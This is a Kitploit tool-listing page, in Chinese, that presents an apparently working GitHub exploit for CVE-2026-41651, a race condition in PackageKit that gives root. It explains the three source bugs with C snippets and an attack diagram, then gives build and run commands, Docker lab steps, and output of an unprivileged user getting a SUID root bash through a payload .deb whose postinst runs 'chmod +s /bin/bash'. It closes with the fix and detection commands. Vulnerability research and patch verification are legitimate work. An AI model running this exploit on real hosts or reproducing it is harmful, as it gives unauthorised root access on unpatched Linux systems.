Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-41651 — 利用 PackageKit 事务处理器中的 TOCTOU 竞态条件,以 root 身份安装任意软件包,无需认证即可实现本地权限提升并获得 SUID shell。 | Kitploit
工具/GitHubGitHub/vozec/cve-2026-41651
权限提升漏洞分析漏洞利用
GitHubvozec/cve-2026-41651

CVE-2026-41651

利用 PackageKit 事务处理器中的 TOCTOU 竞态条件,以 root 身份安装任意软件包,无需认证即可实现本地权限提升并获得 SUID shell。

查看仓库
114183个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Pack2TheRoot — CVE-2026-41651

PackageKit 的事务处理器中存在 TOCTOU 竞态。任何本地非特权用户都可以在无需认证的情况下以 root 身份安装任意软件包。

Platform Language CVSS Status


概述

字段值
CVECVE-2026-41651
组件PackageKit 守护进程(packagekitd)
受影响版本1.0.2 – 1.3.4
修复版本1.3.5
影响本地权限提升 → root
所需认证无
用户交互无
测试环境Ubuntu 24.04, Debian 12

演示

poc

漏洞

src/pk-transaction.c 中的三个 bug 串联在一起,在授权与执行之间制造了一个 TOCTOU 窗口。

Bug 1 — 无条件标志覆盖(第 4036 行)

InstallFiles() 会在不进行状态检查的情况下无条件覆盖 cached_transaction_flags 和 cached_full_paths:

root@kitploit:~
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);

Bug 2 — 静默状态转换拒绝(第 876–881 行)

pk_transaction_set_state() 会静默丢弃向后退的状态转换。此时标志已被覆盖,但状态仍然保持不变:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
    transaction->state > state) {
    g_warning ("cannot set %s, as already %s", ...);
    return;
}

Bug 3 — 标志读取过晚(第 2273–2277 行)

pk_transaction_run() 在调度时(通过 GLib idle)读取缓存的标志,而非在授权时读取:

root@kitploit:~
case PK_ROLE_ENUM_INSTALL_FILES:
    pk_backend_install_files (transaction->backend,
                              transaction->job,
                              transaction->cached_transaction_flags,
                              transaction->cached_full_paths);
    break;

Bonus — SIMULATE 绕过 polkit(第 2893–2900 行)

设置 PK_TRANSACTION_FLAG_SIMULATE(第 2 位,值 0x4)会完全跳过 polkit 检查:

root@kitploit:~
if (pk_bitfield_contain (transaction->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
    pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
    return TRUE;
}

利用流程

root@kitploit:~
Attacker                         packagekitd
   │                                  │
   │  CreateTransaction()             │
   │─────────────────────────────────►│  state = NEW
   │◄─────────────────────────────────│
   │                                  │
   │  InstallFiles(SIMULATE, dummy)   │
   │─────────────────────────────────►│  SIMULATE → polkit skipped
   │◄─────────────────────────────────│  state = READY
   │                                  │  g_idle_add(run_idle_cb) ← queued
   │                                  │
   │  InstallFiles(NONE, payload)     │  [BUG 1] flags + paths overwritten
   │─────────────────────────────────►│  [BUG 2] set_state(WAITING_FOR_AUTH)
   │◄─────────────────────────────────│          → silently rejected
   │                                  │          state stays READY
   │                                  │
   │                      [idle fires]│
   │                                  │  pk_transaction_run()
   │                                  │  [BUG 3] reads NONE + payload
   │                                  │  → dpkg installs payload as root
   │                                  │  → postinst: chmod +s /bin/bash
   │                                  │
   │  execv("/tmp/.suid_bash -p")     │
   │─────────────────────────────────►│
   │              euid=0(root)        │

两个 InstallFiles 调用均以 fire-and-forget 异步 D-Bus 调用的方式发送,早于客户端主循环的迭代。这保证两条消息都会在 GLib idle 触发之前到达服务器套接字——无需争夺竞态。

polkitd 最终会对第二个调用返回 NOT_AUTHORIZED,但那时 APT 已经派发了安装操作。该错误是预期的,并且无害。


构建

root@kitploit:~
sudo apt install libglib2.0-dev
make

没有其他依赖——.deb 包在运行时以纯 C 语言构建。


使用方法

root@kitploit:~
./cve-2026-41651
root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

euid=0——内核中的所有权限检查都使用有效 UID。


Docker

root@kitploit:~
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651

该镜像从源码构建 PackageKit 1.3.4(提交 2149735,最后一个存在漏洞的版本),启动 dbus + polkitd + packagekitd,然后以非特权用户身份运行利用程序。

关于 g_assert 的说明: 该 Docker 镜像在 pk-transaction.c 中移除(patch out)了 g_assert (!transaction->emitted_finished) 保护。在真实未打补丁的系统上,当 APT 的线程在 polkitd 已经发出 Finished 之后尝试发出 Finished 时,该断言会触发,并因 SIGABRT 导致守护进程崩溃。此时 SUID bash 已经写入磁盘,因此权限提升成功——崩溃只是一个附带效果的 DoS。packagekitd 会在下一次 D-Bus 激活时重启。


检测

在 PackageKit ≥ 1.3.5 上,第二个调用会被拒绝:

root@kitploit:~
[-] Target is PATCHED (PackageKit >= 1.3.5)

该修复在 pk_transaction_method_call() 中添加了状态检查:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
    g_dbus_method_invocation_return_error (invocation,
        PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
    return;
}
root@kitploit:~
pkcon --version
journalctl -u packagekit --since '5 min ago'

参考资料

  • NVD — CVE-2026-41651
  • GitHub Advisory — GHSA-f55j-vvr9-69xv
  • Telekom Security — pack2theroot
  • 修复提交 — 76cfb675
  • OSS-Security 公告
下载工具